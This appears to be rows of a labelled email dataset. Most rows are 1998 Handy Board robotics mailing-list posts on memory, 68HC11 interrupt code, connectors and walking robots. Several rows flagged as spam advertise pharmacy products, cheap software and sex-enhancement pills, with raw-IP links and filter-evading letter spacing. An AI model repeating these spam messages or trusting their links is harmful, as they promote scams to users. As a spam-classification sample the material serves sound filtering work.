shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://ulqnib.icepage.info/?88575056 ",1,1 Brian Lavery ,brian-c@technologist.com,"Wed, 17 Jun 1998 14:30:06 +1000",Re: HB Memory...,">When pcode is downloaded to the Handy Board, how much memory space >does it take up? >I am a little concerned about having enough memory space for my programs. >As I see it now, I think I may max out the 32KB. >Does anyone have tips on how to concerve space. The only thing I can >think of is to edit out some functions from lib_hb.c that I am not >using, and also not loading the r22 IR files which I'm not using either. Brian, The RAM memory space is divided into two big parts very roughly like this: 0x8000 - about 0xBE00 or so = your ""user"" program (the C program sent by I-C) 0xBFxx - 0xBFFF = interrupt vector table (immovable!) 0xC000 - 0xFEFF = PCODE.S19 pcode engine & its work areas 0xFFF0 - 0xFFFF = CPU stack space You will always have a bit under 16 kB (0x8000 - 0xBF??) for your user programs, that is: - your own C files - the Library C files - any ICB assembler files you use. When IC sends your files to the Handyboard, it displays the memory location of the various component files of your project. You can guage how full you are: the closer you get to 0xBE00 or so (on the I-C display), the fuller you are getting! You have to save space in the 8000-bf00 area. Curtailing library functions is wise. But using a different version of I-C, along with its fresh compilation of the PCODE interpreter engine, could conceivably affect the use of memory in the upper region (c000-FF00) very slightly, but that is of no use to you in squeezing in more of your own project files (8000-bf00). The facts are, that the HB just has a certain memory allowance for your programs, and you have to be as efficient within that space as you can! Regards Brian Lavery",0,0 HECTOR NORIEGA <110060.2126@compuserve.com>,Handyboard ,"Wed, 17 Jun 1998 03:07:33 -0400",hog_processor(),"Could someone tell me how to use the hog_processor(). I want to dedicate the controller to only one task. I tried the following program but it did not go faster than 700HZ. void main() { while(1) { hog_processor(); v_opt = analog(0); /*measure optical sensor */ poke(0x6fff,v_opt); /* A/D correction */ } /* end of while */ } /* end of main program*/ Thank you in advance. Hector Noriega Student Long Beach State University Electrical Engineering Dept. ",0,0 Luc Bodson ,Handyboard ,"Wed, 17 Jun 1998 11:08:53 +0100",Newbie,"Hi all, I'm new on this board, and just ordered my handyboard. As for hardware , i still have lots of bend-sensors (strain-gages) recovered from old PowerGlove's. If anyone needs these sensors, please email me, I will use them myself on the project i'm working now with the handyboard. thks Luc Bodson Belgium ",0,0 """Attention I. Yeoman"" ",Bait ,"Wed, 17 Jun 1998 16:21:19 -0400",Software,"Just click to buy OEM! best worldwide soft at increadeable prices!!! P0pular software at low low price. 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With that the hobbit turned and scuttled inside his round green door, and shut it as quickly as he dared, not to seen rude. Wizards after all ",1,1 EVA-01 ,handyboard@media.mit.edu,"Wed, 17 Jun 1998 22:05:42 +0800",Walking robot and change of email,"Hi, I wonder if this is a little off topic, but since I got a Handyboard I would like to use it in a walking robot application. Does anyone have any experience in making 2-legged robots? Hmm.... Umm...and a message for Fred....my email has changed from smwong@post1.com to siming@singnet.com.sg ...please update it, thanks! ",0,0 Mike Davis ,siming@singnet.com.sg,"Wed, 17 Jun 1998 07:25:33 -0700",Re: Walking robot and change of email,"They keep falling down:-) Sorry, couldn't resist that. Check out the MIT site. They have a good robotics department. I don't know if it was MIT or not but I say a robot that was developed at one of these institutions that was one-legged and could do flips and still maintain balance. Maybe someone knows the link to that one. Date sent: Wed, 17 Jun 1998 22:05:42 +0800 From: EVA-01 Send reply to: siming@singnet.com.sg To: handyboard@media.mit.edu Subject: Walking robot and change of email > Hi, I wonder if this is a little off topic, but since I got a Handyboard > I would like to use it in a walking robot application. Does anyone have > any experience in making 2-legged robots? Hmm.... > > > Umm...and a message for Fred....my email has changed from > smwong@post1.com to siming@singnet.com.sg ...please update it, thanks! > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 John Hatton ,"""'siming@singnet.com.sg'"" , 'Handyboard Mailing List' ","Wed, 17 Jun 1998 15:30:58 +0100",RE: Walking robot and change of email,"I've recently bought a Stampbug (6 legged walker) from Milford Instruments ( http://www.milinst.demon.co.uk/ ) in the UK and they have a simple 2 legged robot in their catalog. I hope this is of help. John Hatton >---------- >From: EVA-01[SMTP:siming@singnet.com.sg] >Sent: 17 June 1998 15:05 >To: handyboard@media.mit.edu >Subject: Walking robot and change of email > >Hi, I wonder if this is a little off topic, but since I got a Handyboard >I would like to use it in a walking robot application. Does anyone have >any experience in making 2-legged robots? Hmm.... > > ",0,1 Hugh_Watkins@bbs.bellsouth.com,Handyboard@media.mit.edu,"Wed, 17 Jun 1998 10:46:50 -0400",Handy Board Header," I'm trying to order the handy board headers (J3-4, J6-8, etc). I've got a digi-key part number of ED72xx-ND where xx is the number of pins for the female. Is this correct? There seems to be a wide varity on the male J15, does someone have a part number or dimensions? The photo of J6 the 4x2 header looks like 2 rows of singles, is this right? Thanks ",0,0 EVA-01 ,handyboard@media.mit.edu,"Wed, 17 Jun 1998 22:49:10 +0800",Umm...change of email....,"Hi all....It seems that mails are still going to my old email addy.... :) please remove the post1.com one because otherwise I will receive duplicate messages until it expires in July....Thanks.... :) ",0,0 Mike Davis ,John Hatton ,"Wed, 17 Jun 1998 08:01:18 -0700",RE: Walking robot - Related Topic,"Related Question. I am working on a robot project with my daughter this summer. I was wondering how many walking robot kits there out there. I would like a high quality one that lends itself to further development. Also, I have seen most of the robot chassis kits, I believe but have not seen too many track models. Like the paragraph above I am looking for a relatively high quality (small, sturdy, reliable, repairable) one. Anybody know of any? Tracked preferred but wheeled is ok too. An option is to build one but I have no clue where to get parts like tracks (belts) and gearing to match, gears, etc. I have tried RC Hobbie shops but they are very limited. From: John Hatton To: ""'siming@singnet.com.sg'"" , ""'Handyboard Mailing List'"" Subject: RE: Walking robot and change of email Date sent: Wed, 17 Jun 1998 15:30:58 +0100 > I've recently bought a Stampbug (6 legged walker) from Milford > Instruments > ( http://www.milinst.demon.co.uk/ ) in the UK and they have a simple 2 > legged robot in their catalog. > > I hope this is of help. > > John Hatton > > >---------- > >From: EVA-01[SMTP:siming@singnet.com.sg] > >Sent: 17 June 1998 15:05 > >To: handyboard@media.mit.edu > >Subject: Walking robot and change of email > > > >Hi, I wonder if this is a little off topic, but since I got a Handyboard > >I would like to use it in a walking robot application. Does anyone have > >any experience in making 2-legged robots? Hmm.... > > > > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,1 """Mark Woodley (x4081)"" ",TAD@SLAC.Stanford.EDU,"Wed, 17 Jun 1998 11:22:40 -0700",Listing of NLC TRANSPORT decks," NLC TRANSPORT decks (ZDR-level) can be found on unix in the directory: /afs/slac/www/accel/nlc/local/lattice/zdr/decks and can also be accessed via WWW at: http://www.slac.stanford.edu/accel/nlc/local/lattice/zdr/decks . Files in this directory are ASCII TRANSPORT input files (*.trns). The file naming convention is ""particle.system.subsystem"" as follows: e.i.bstr: e- injector linac e.i.ltr_: e- linac-to-ring transport line e.i.dr__: e- main damping ring e.i.bc1_: e- ""rtl"" plus first bunch compressor e.i.plin: e- pre-linac e.i.bc2_: e- second bunch compressor arc plus chicane e.l.lin1: first e- main linac section e.l.lin2: second e- main linac section e.l.lin3: third e- main linac section e.d.col_: e- post-linac collimation section e.d.bb1_: e- IP switch and big bend (to IP #1) e.d.ff1_: e- final focus (to IP #1) p.i.elin: e- drive beam linac p.i.etl1: e- drive beam target line (to e+ production target #1) p.i.bstr: e+ booster linac p.i.ltr_: e+ linac-to-predr transport line p.i.pdr_: e+ pre damping ring p.i.xfer: e+ pre damping ring to main damping ring transfer line (pre ring ""rtl"" plus main ring ""ltr"") p.i.dr__: e+ main damping ring p.i.bc1_: e+ ""rtl"" plus first bunch compressor p.i.plin: e+ pre-linac p.i.bc2_: e+ second bunch compressor arc plus chicane p.l.lin1: first e+ main linac section p.l.lin2: second e+ main linac section p.l.lin3: third e+ main linac section p.d.col_: e+ post-linac collimation section p.d.bb1_: e+ IP switch and big bend (to IP #1) p.d.ff1_: e+ final focus (to IP #1) TOPDRAW plots (beta and eta) for each subsystem may be found on unix in the directory: /afs/slac/www/accel/nlc/local/lattice/zdr/plots and can also be accessed via WWW at: http://www.slac.stanford.edu/accel/nlc/local/lattice/zdr/plots . Files in this directory are ASCII TOPDRAW input files (*.top), viewable postscript files (*.ps), and viewable pdf files (*.pdf). ",0,1 """jan_peters@gmx.net"" ",siming@singnet.com.sg,"Wed, 17 Jun 1998 17:36:48 +0200",Re: Walking robot and change of email,"Try out the Pages of the EE Department of the University of New Hampshire. Miller et. al have been doing some great work in this area for decades. And try out the HP http://www.fzi.de/ids/dfg_schwerpunkt_laufen/english/research_themes/index.htm This HP shows the walking robots reserach wich is being done in Germany...they have about 150 different walking robots links. Jan Peters (http://www.eikon.tum.de/~peters/official) EVA-01 schrieb: > Hi, I wonder if this is a little off topic, but since I got a Handyboard > I would like to use it in a walking robot application. Does anyone have > any experience in making 2-legged robots? Hmm.... > > Umm...and a message for Fred....my email has changed from > smwong@post1.com to siming@singnet.com.sg ...please update it, thanks! ",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 17 Jun 1998 11:30:16 -0400",beta test close date this friday,"Hi all, I got a number of replies to the expansion board beta test program on sunday night and monday, but just one yesterday, so: I'm moving up the closing to this friday. If you're interested and you haven't contacted me yet, please do so by then, but only after reading through the information at http://el.www.media.mit.edu/projects/handy-board/hbexp30b/betatest.html thanks everyone, fred ",0,1 """Fred G. Martin"" ",Hugh_Watkins@bbs.bellsouth.com,"Wed, 17 Jun 1998 12:05:02 -0400",Re: Handy Board Header ,"make sure you get FEMALE header for the HB itself. The only male header is for the LCD, to plug it into its female socket on the HB. It looks like the ED72xx parts are MALE. You probably want ED71xx for female. Please note I haven't ordered ED7xxx components before, so I'm not absolutely sure they're right, but they look right from the cat page. Fred In your message you said: > > I'm trying to order the handy board headers (J3-4, J6-8, etc). I've got a > digi-key part number of > ED72xx-ND where xx is the number of pins for the female. Is this correct? > > There seems to be a wide varity on the male J15, does someone have a part > number or dimensions? > > The photo of J6 the 4x2 header looks like 2 rows of singles, is this right? > > Thanks > > > ",0,0 Hugh_Watkins@bbs.bellsouth.com,handyboard@media.mit.edu,"Wed, 17 Jun 1998 15:03:59 -0400",resistor network," One more question. Are the resistor networks common bus or isolated? Thanks ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Wed, 17 Jun 1998 12:29:39 -0700",RE: Cheap air flow sensor,"At 09:19 PM 6/16/98 -0400, you wrote: > Do you happen to know if those changes are linear? Something like this >would make a cool replacement for the MAS on the Talon. It uses a series of >honeycombs (that form little diamond shapes). Then it measures the number >of spinning vortices coming off the honeycomb (via ultrasound) -it's called >the Karmen-???? phenomenon. It's also a pretty restrictive piece of the >intake path. > > A cylinder with one of these platinum wires crossing it (along w/the >extra sensors needed) with a PIC as the glue would really be slick, as long >as the mapping (or math) to do something useful with it wasn't to hairy. > >-Paul > I'll have to check this out. We havn't actually used hot-wire-anemometers recently, partly because we havn't had the need, and partly because vortex-shedding flowmeters are all the rage right now. My memory is they are not linear, but that the curve is second order and easy to handle. Temperature, density, and heat content of the medium are a big problem, but if these don't vary much... They ARE small. And fragile. I replaced one once by crushing a flashlight bulb, recovering the filament mount and soldering the platinum wire in place of the filament. Under a microscope. Don't sneeze. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Paul Mrozowski ,Brett Anthony ,"Wed, 17 Jun 1998 17:14:36 -0400",Re: Hot Wire Anemometers,"At 12:35 PM 6/17/98 -0700, you wrote: >> >I'll have to check this out. We havn't actually used hot-wire-anemometers >recently, partly because we havn't had the need, and partly because >vortex-shedding flowmeters are all the rage right now. My memory is they >are not linear, but that the curve is second order and easy to handle. >Temperature, density, and heat content of the medium are a big problem, but >if these don't vary much... >They ARE small. And fragile. I replaced one once by crushing a flashlight >bulb, recovering the filament mount and soldering the platinum wire in place >of the filament. Under a microscope. Don't sneeze. > > >BTW, what is ""the MAS on the Talon""? What is the Talon? > Mass airflow sensor on a Eagle Talon/Mitsubish Eclipse/Plymouth Laser. Hmm..it sounds like it might be a lot more work to actually get something like this to work reliably in a car where all of the above can vary by a great amount. -Paul ",0,0 """Timothy B. Gold"" ",handyboard@media.mit.edu,"Wed, 17 Jun 1998 16:11:04 -0600",System interupt problems?,"I need some help! We have a handy board hooked up to some decoders, which we will use to help track our robot as it moves across the floor. We have to do a few pokes and a peek to read the decoders, but we've got it all set up and it works beautifully if you do it manually. However, because the encoders have a very high resolution, we need to constantly read the decoders so that their counters don't overflow and wrap-around. I figured that I'd write an assembly routine and have it triggered by the system interrupt (TOC4) so that it is constantly reading the decoders and keeping a total of how much they have changed. I successfully wrote an assembly routine that works just fine if it is called from a C program. To test it, I have a simple loop that runs the motor forward and the backward (for a specified amount of time), calling my assembly routine to update the value and the displaying the global counter each time. However, if I take the EXACT same piece of code and link it in to the TOC4 interrupt, it doesn't work correctly. While before I read approx. 80 (forward) and -80 (reverse) for each turn of the motor, now it reads approx. -6 (forward) and -1100 (reverse) for each turn. I'll attach the code I'm using below. Does anyone have any ideas as to what might be causing the problem? Are there some other things going on with the interrupt that I should be aware of? I have tried slowing it down a little (keeping a count and only reading the decoders once every 200 TOC4 interrupts or so), but the results are identical. Any help would be appreciated -- this one's had me stumped all day and I have't been making any progress with it. Thanks! ----------------------------CODE:-------------------------------- /* Assembly routine(s) use to read the decoder and update a global counter. This piece of code will actually only read one decoder -- reading the other one will be added when this is debugged */ #include ""/usr/local/ic/libs/6811regs.asm"" ORG MAIN_START variable_COUNT: /* this is the total count from the decoder */ FDB 00 variable_TCOUNT: /* this is used to store the value just read from the decoder */ FDB 00 subroutine_initialize_module: #include ""/usr/local/ic/libs/ldxibase.asm"" ldd TOC4INT,X std interrupt_code_exit+1 ldd #interrupt_code_start std TOC4INT,X rts /* This is the interrupt routine that doesn't work... */ interrupt_code_start: ldd #$c stab $4000 /* poke(0x4000,0x0c) -- latch internal decoder counter on ouput */ ldd #$1 stab $4000 /* poke (0x4000,0x01) -- pull reset for decoder high */ ldd #$d stab $4000 /* poke (0x4000,0x0d) -- pull reset for decoder back down */ ldab $4000 /* peek (0x4000) -- get value from decoder */ clra /* clear upper byte of variable */ tba /* copy regb to rega */ anda #$80 /* check to see if number is negative */ cmpa #0 beq skip_pos /* skip ahead if number if positive */ ldaa #$ff /* sign extend upper byte of count if negative */ skip_pos: std variable_TCOUNT /* store read value (from decoder) to TCOUNT */ ldd variable_COUNT /* load count into double accum. */ addd variable_TCOUNT /* add TCOUNT to COUNT */ std variable_COUNT /* store COUNT to memory */ interrupt_code_exit: jmp $0000 /* This is the stand-alone routine that DOES work... (same piece of code, except for one changed label and an RTS at the end instead of a JMP) */ subroutine_mytest: ldd #$c stab $4000 /* poke(0x4000,0x0c) -- latch internal decoder counter on ouput */ ldd #$1 stab $4000 /* poke (0x4000,0x01) -- pull reset for decoder high */ ldd #$d stab $4000 /* poke (0x4000,0x0d) -- pull reset for decoder back down */ ldab $4000 /* peek (0x4000) -- get value from decoder */ clra /* clear upper byte of variable */ tba /* copy regb to rega */ anda #$80 /* check to see if number is negative */ cmpa #0 beq skip /* skip ahead if number if positive */ ldaa #$ff /* sign extend upper byte of count if negative */ skip: std variable_TCOUNT /* store read value (from decoder) to TCOUNT */ ldd variable_COUNT /* load count into double accum. */ addd variable_TCOUNT /* add TCOUNT to COUNT */ std variable_COUNT /* store COUNT to memory */ rts ",0,0 """Curt Mills, WE7U"" ",Paul Mrozowski ,"Wed, 17 Jun 1998 15:19:32 -0700",Re: Hot Wire Anemometers,"On Wed, 17 Jun 1998, Paul Mrozowski wrote: > Mass airflow sensor on a Eagle Talon/Mitsubish Eclipse/Plymouth Laser. > Hmm..it sounds like it might be a lot more work to actually get something > like this to work reliably in a car where all of the above can vary by a > great amount. Not to mention that the sensor that is already built-in to the car is probably non-linear as well, which means that the software in the car's computer is already set up for that specific curve. If you were to replace it with another technology, you'd want to approximate the curve of the orginal sensor, not a linear function. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 DONT REPLY ,tad@MAILBOX.SLAC.Stanford.EDU,"Thu, 18 Jun 1998 02:41:33 +0800",summer 2006 series coming!!!,"www.loveinfashion.com http://photo.163.com/photos/loveinfashionoffer/ email and msn: loveinfashion@hotmail.com QQ:158336954 Authentic Stocklot!!!! Delivered in 3 days!!! wholesale and retail are both be welcome!!!!!!!! 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If you were to >replace it with another technology, you'd want to approximate the curve of >the orginal sensor, not a linear function. > Actually, I'd want to modify the curve. Stock, the cars run very rich. For people interested in getting the most hp out of them, we'd want to be able to lean the engine out a bit (along with reducing the intake restriction). But this is getting away from the HB topic ;-) -Paul ",0,0 Pandit Panburana ,"Hugh_Watkins@bbs.bellsouth.com, ""Fred G. Martin"" ","Wed, 17 Jun 1998 23:29:30 -0400",Re: Handy Board Header ,"I once ordered male ED7xxx series and they work ok. I do like them. I never tried the female ones. According to HB manual, the Digi-Key parts are: 929974-01-36-ND - female 36 pins. 929834-01-36-ND - male 36 pins. Regards, -Pandit ---------- > From: Fred G. Martin > To: Hugh_Watkins@bbs.bellsouth.com > Cc: Handyboard@media.mit.edu > Subject: Re: Handy Board Header > Date: Wednesday, June 17, 1998 12:05 PM > > make sure you get FEMALE header for the HB itself. The only male > header is for the LCD, to plug it into its female socket on the HB. > > It looks like the ED72xx parts are MALE. You probably want ED71xx for > female. Please note I haven't ordered ED7xxx components before, so > I'm not absolutely sure they're right, but they look right from the > cat page. > > Fred > > > In your message you said: > > > > I'm trying to order the handy board headers (J3-4, J6-8, etc). I've got a > > digi-key part number of > > ED72xx-ND where xx is the number of pins for the female. Is this correct? > > > > There seems to be a wide varity on the male J15, does someone have a part > > number or dimensions? > > > > The photo of J6 the 4x2 header looks like 2 rows of singles, is this right? > > > > Thanks > > > > > >",0,0 Harrison ,'Arlene' ,"Thu, 18 Jun 1998 05:52:40 +0300",Increase Penis Size," Hi friend: We have quality product to help you Enjoy better sex life. All products offer 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer eugenicg7890hjfdefshhgsahk ",1,1 Ambrose Keys ,leah@aleve.media.mit.edu,"Wed, 17 Jun 1998 19:05:06 -0700",Re: good CtALlwS,"Hi, V e A y L c I g U h M y X g A f N q A b X w V e I k A e G p R s A t C n I k A b L d I u S n http://www.ploretocea.com hautbo deckin intervie boob tourne gray hair is painfully thin. Is one of those wigs red? As a matter of fact, yes. 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However, because the encoders have a very high resolution, we need to constantly read the decoders so that their counters don't overflow and wrap-around. I figured that I'd write an assembly routine and have it triggered by the system interrupt (TOC4) so that it is constantly reading the decoders and keeping a total of how much they have changed. I successfully wrote an assembly routine that works just fine if it is called from a C program. To test it, I have a simple loop that runs the motor forward and the backward (for a specified amount of time), calling my assembly routine to update the value and the displaying the global counter each time. However, if I take the EXACT same piece of code and link it in to the TOC4 interrupt, it doesn't work correctly. While before I read approx. 80 (forward) and -80 (reverse) for each turn of the motor, now it reads approx. -6 (forward) and -1100 (reverse) for each turn. I'll attach the code I'm using below. Does anyone have any ideas as to what might be causing the problem? Are there some other things going on with the interrupt that I should be aware of? I have tried slowing it down a little (keeping a count and only reading the decoders once every 200 TOC4 interrupts or so), but the results are identical. Any help would be appreciated -- this one's had me stumped all day and I have't been making any progress with it. Thanks! ----------------------------CODE:-------------------------------- /* Assembly routine(s) use to read the decoder and update a global counter. This piece of code will actually only read one decoder -- reading the other one will be added when this is debugged */ #include ""/usr/local/ic/libs/6811regs.asm"" ORG MAIN_START variable_COUNT: /* this is the total count from the decoder */ FDB 00 variable_TCOUNT: /* this is used to store the value just read from the decoder */ FDB 00 subroutine_initialize_module: #include ""/usr/local/ic/libs/ldxibase.asm"" ldd TOC4INT,X std interrupt_code_exit+1 ldd #interrupt_code_start std TOC4INT,X rts /* This is the interrupt routine that doesn't work... */ interrupt_code_start: ldd #$c stab $4000 /* poke(0x4000,0x0c) -- latch internal decoder counter on ouput */ ldd #$1 stab $4000 /* poke (0x4000,0x01) -- pull reset for decoder high */ ldd #$d stab $4000 /* poke (0x4000,0x0d) -- pull reset for decoder back down */ ldab $4000 /* peek (0x4000) -- get value from decoder */ clra /* clear upper byte of variable */ tba /* copy regb to rega */ anda #$80 /* check to see if number is negative */ cmpa #0 beq skip_pos /* skip ahead if number if positive */ ldaa #$ff /* sign extend upper byte of count if negative */ skip_pos: std variable_TCOUNT /* store read value (from decoder) to TCOUNT */ ldd variable_COUNT /* load count into double accum. */ addd variable_TCOUNT /* add TCOUNT to COUNT */ std variable_COUNT /* store COUNT to memory */ interrupt_code_exit: jmp $0000 /* This is the stand-alone routine that DOES work... (same piece of code, except for one changed label and an RTS at the end instead of a JMP) */ subroutine_mytest: ldd #$c stab $4000 /* poke(0x4000,0x0c) -- latch internal decoder counter on ouput */ ldd #$1 stab $4000 /* poke (0x4000,0x01) -- pull reset for decoder high */ ldd #$d stab $4000 /* poke (0x4000,0x0d) -- pull reset for decoder back down */ ldab $4000 /* peek (0x4000) -- get value from decoder */ clra /* clear upper byte of variable */ tba /* copy regb to rega */ anda #$80 /* check to see if number is negative */ cmpa #0 beq skip /* skip ahead if number if positive */ ldaa #$ff /* sign extend upper byte of count if negative */ skip: std variable_TCOUNT /* store read value (from decoder) to TCOUNT */ ldd variable_COUNT /* load count into double accum. */ addd variable_TCOUNT /* add TCOUNT to COUNT */ std variable_COUNT /* store COUNT to memory */ rts ",0,0 John Hatton ,"'Mike Davis' , 'Handyboard Mailing List' ","Thu, 18 Jun 1998 13:54:47 +0100",RE: Walking robot - Related Topic,"Mike, I have actually seen only 3 reasonable quality walkers on the market (the 6 legged kind) but I have to admit that I haven't searched that far recently. Lynxmotion (http://www.lynxmotion.com) do one which looks to be pretty good quality however it is a bit expensive, it also requires 12 servos. Novasoft (http://www.mil.ufl.edu/novasoft/) also do a 12 servo, 6 legged walker which is a different design from the Lynxmotion one but still looks pretty good. The final one is the Stampbug, this is a 3 servo, 6 legged walker from Parallax (http://www.parallaxinc.com/) which is fairly restricted in it's development but is a simple starting point (it is driven by either a pic or Basic stamp1 but the servos can be controlled from any source as long as it isn't to heavy, the stampbug is quite small). Hope this helps. John Hatton >---------- >From: Mike Davis[SMTP:ipscone@halcyon.com] >Sent: 17 June 1998 16:01 >To: John Hatton >Cc: handyboard@media.mit.edu >Subject: RE: Walking robot - Related Topic > >Related Question. > >I am working on a robot project with my daughter this summer. I was >wondering how many walking robot kits there out there. I would like a high >quality one that lends itself to further development. > >Also, I have seen most of the robot chassis kits, I believe but have not seen >too >many track models. Like the paragraph above I am looking for a relatively >high >quality (small, sturdy, reliable, repairable) one. > >Anybody know of any? Tracked preferred but wheeled is ok too. > >An option is to build one but I have no clue where to get parts like tracks >(belts) >and gearing to match, gears, etc. I have tried RC Hobbie shops but they are >very limited. > >From: John Hatton >To: ""'siming@singnet.com.sg'"" , > ""'Handyboard Mailing List'"" >Subject: RE: Walking robot and change of email >Date sent: Wed, 17 Jun 1998 15:30:58 +0100 > >> I've recently bought a Stampbug (6 legged walker) from Milford >> Instruments >> ( http://www.milinst.demon.co.uk/ ) in the UK and they have a simple 2 >> legged robot in their catalog. >> >> I hope this is of help. >> >> John Hatton >> >> >---------- >> >From: EVA-01[SMTP:siming@singnet.com.sg] >> >Sent: 17 June 1998 15:05 >> >To: handyboard@media.mit.edu >> >Subject: Walking robot and change of email >> > >> >Hi, I wonder if this is a little off topic, but since I got a Handyboard >> >I would like to use it in a walking robot application. Does anyone have >> >any experience in making 2-legged robots? Hmm.... >> > >> > > > >-- >----------------------------------------------------------------- >ipscone@halcyon.com Shoot-To-Win! > >Protect the 2nd Amendment! Your rights may be next! >----------------------------------------------------------------- > >",0,1 Tim Gold ,"""Ross, Michael"" , handyboard@media.mit.edu","Thu, 18 Jun 1998 08:01:01 -0600",RE: System interupt problems?," > Tim, > > I just scanned your code, so I might have missed it, but don't you have to > clear (or set) a flag in your interrupt routine to reenable the TOC4 > interrupt? > I'm pretty sure that since the Handy Board also uses TOC4 as its system interrupt, that it takes care of clearing the interrupt. My code just gets linked in and gets executed before the Handy Board code (though I don't know what the HB code does exactly). Besides, it doesn't lock up the system -- it just gives incorrect (but consistent) results. Also, in the small example code in the Handy Board manual, which uses this same interrupt to drive the beeper at 1000Hz, I don't remember them clearing or setting any interrupts either. Is my assumption wrong? I'm beginning to think that maybe its a problem with the decoder itself -- I may just be reading it too fast. I'll try to slow it down various ways today (even though I've already tried that to some extent) to see if I can get around the problem. I may also try using different interrupts and see what happens. Thanks for the help. Timothy B. Gold goldt@et.byu.edu Homepage: http://www.et.byu.edu/~goldt ",0,1 """Michael S. Davis"" ",John Hatton ,"Thu, 18 Jun 1998 07:34:55 -0700",RE: Walking robot - Related Topic,"Thanks, I already know of these. I think I might just try and build one myself. Finding all the h/w will be the hard part. On Thu, 18 Jun 1998, John Hatton wrote: > Mike, > I have actually seen only 3 reasonable quality walkers on the market > (the 6 legged kind) but I have to admit that I haven't searched that far > recently. Lynxmotion (http://www.lynxmotion.com) do one which looks to > be pretty good quality however it is a bit expensive, it also requires > 12 servos. Novasoft (http://www.mil.ufl.edu/novasoft/) also do a 12 > servo, 6 legged walker which is a different design from the Lynxmotion > one but still looks pretty good. The final one is the Stampbug, this is > a 3 servo, 6 legged walker from Parallax (http://www.parallaxinc.com/) > which is fairly restricted in it's development but is a simple starting > point (it is driven by either a pic or Basic stamp1 but the servos can > be controlled from any source as long as it isn't to heavy, the stampbug > is quite small). > Hope this helps. > > John Hatton > > >---------- > >From: Mike Davis[SMTP:ipscone@halcyon.com] > >Sent: 17 June 1998 16:01 > >To: John Hatton > >Cc: handyboard@media.mit.edu > >Subject: RE: Walking robot - Related Topic > > > >Related Question. > > > >I am working on a robot project with my daughter this summer. I was > >wondering how many walking robot kits there out there. I would like a high > >quality one that lends itself to further development. > > > >Also, I have seen most of the robot chassis kits, I believe but have not seen > >too > >many track models. Like the paragraph above I am looking for a relatively > >high > >quality (small, sturdy, reliable, repairable) one. > > > >Anybody know of any? Tracked preferred but wheeled is ok too. > > > >An option is to build one but I have no clue where to get parts like tracks > >(belts) > >and gearing to match, gears, etc. I have tried RC Hobbie shops but they are > >very limited. > > > >From: John Hatton > >To: ""'siming@singnet.com.sg'"" , > > ""'Handyboard Mailing List'"" > >Subject: RE: Walking robot and change of email > >Date sent: Wed, 17 Jun 1998 15:30:58 +0100 > > > >> I've recently bought a Stampbug (6 legged walker) from Milford > >> Instruments > >> ( http://www.milinst.demon.co.uk/ ) in the UK and they have a simple 2 > >> legged robot in their catalog. > >> > >> I hope this is of help. > >> > >> John Hatton > >> > >> >---------- > >> >From: EVA-01[SMTP:siming@singnet.com.sg] > >> >Sent: 17 June 1998 15:05 > >> >To: handyboard@media.mit.edu > >> >Subject: Walking robot and change of email > >> > > >> >Hi, I wonder if this is a little off topic, but since I got a Handyboard > >> >I would like to use it in a walking robot application. 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The 3 older models: #56004 ""King Tiger""; #56003 ""Flakpanzer Gepard""; and #56002 ""Leopard A4"" are suitable for radio control. Although the bodies of these models are plastic, they have a stiff metal chassis, good (metal&plastic) running gear & tracks gearboxes and may even still come with the gearmotors. Now the bad news. Have $500 ready. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,1 Duncan Orthner ,handyboard@media.mit.edu,"Fri, 19 Jun 1998 15:17:24 +0000",RE:Tracked Robots," The Tonka toy dozer has some pretty tough tracks on it, but you would have to make the wheels. The ones on the toy are made of plastic too thin to attach a drive mechanism to. There may be a better solution, however. There are two options I think might work: 1. Conveyor belt manufacturers are increasingly going towards making them out of small 'track like' sections. Each section is made out of plastic and attaches in the center to the drive mechanism, usually a chain drive. The sections also connect together. Some of the narrower ones (for small conveyor belts) might work nicely. One disadvantage is that the sections are extremely smooth (on top) and would need some type of tread glued on (the bottom in our application). Again, you would have to make the wheels. The conveyor parts would have to be for a linear conveyor, the sections designed for curving are (you guessed it)... curved, and wouldn't work for a robot track. 2. Recently I've seen a type of plastic cable guide system that uses linked sections that are hollow on the inside. The stuff I've seen snaps together and only bends one way. It's used on large repetitive motion machines, like CNC machining centers where driver wires don't move very far but do move back and forth alot. I'm not describing this product well, but it's basically an articulating 'box' that houses the wires. This stuff is made of tough, thick plastic that would hold up well. Again, you would have to come up with a wheel design... Hope this helps, Duncan ",0,0 Chad K Humberstone ,handyboard@media.mit.edu,"Fri, 19 Jun 1998 16:16:45 -0600",servo w/ 360 rotation? Hi torque?,"Are there any servos available with 360 or near 360 rotation? I'd like one with more than 42 oz-in of torque, too. Something closer to 150 oz-in would be nice. Thanks, Chad Humberstone EUCLID Mobile Robot Lab BYU ",0,0 Chad K Humberstone ,handyboard@media.mit.edu,"Fri, 19 Jun 1998 16:29:14 -0600",additional motor drivers,"Is there an easy way to get additional motor drivers? I looked at the H-bridge information in the FAQ and it looks quite involved. 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Pl. set your reader font to something like courier to view it properly. I have taken some liberty with the opamp symbol to accomodate some component connections. +5V 0--------0-------0----------------------------------- 0----)--------)-------)--------------------------------0 | | | | | | | # # /--------)-, | | #33K #33K / 100K | | | | # # ,-##/##-, | | | | | | | | | | | _|_ | | | ,-||-0 56pF | | # |M | | | 10K |\\|5 |8 |1 | | # |__| 0-------)-----####------| 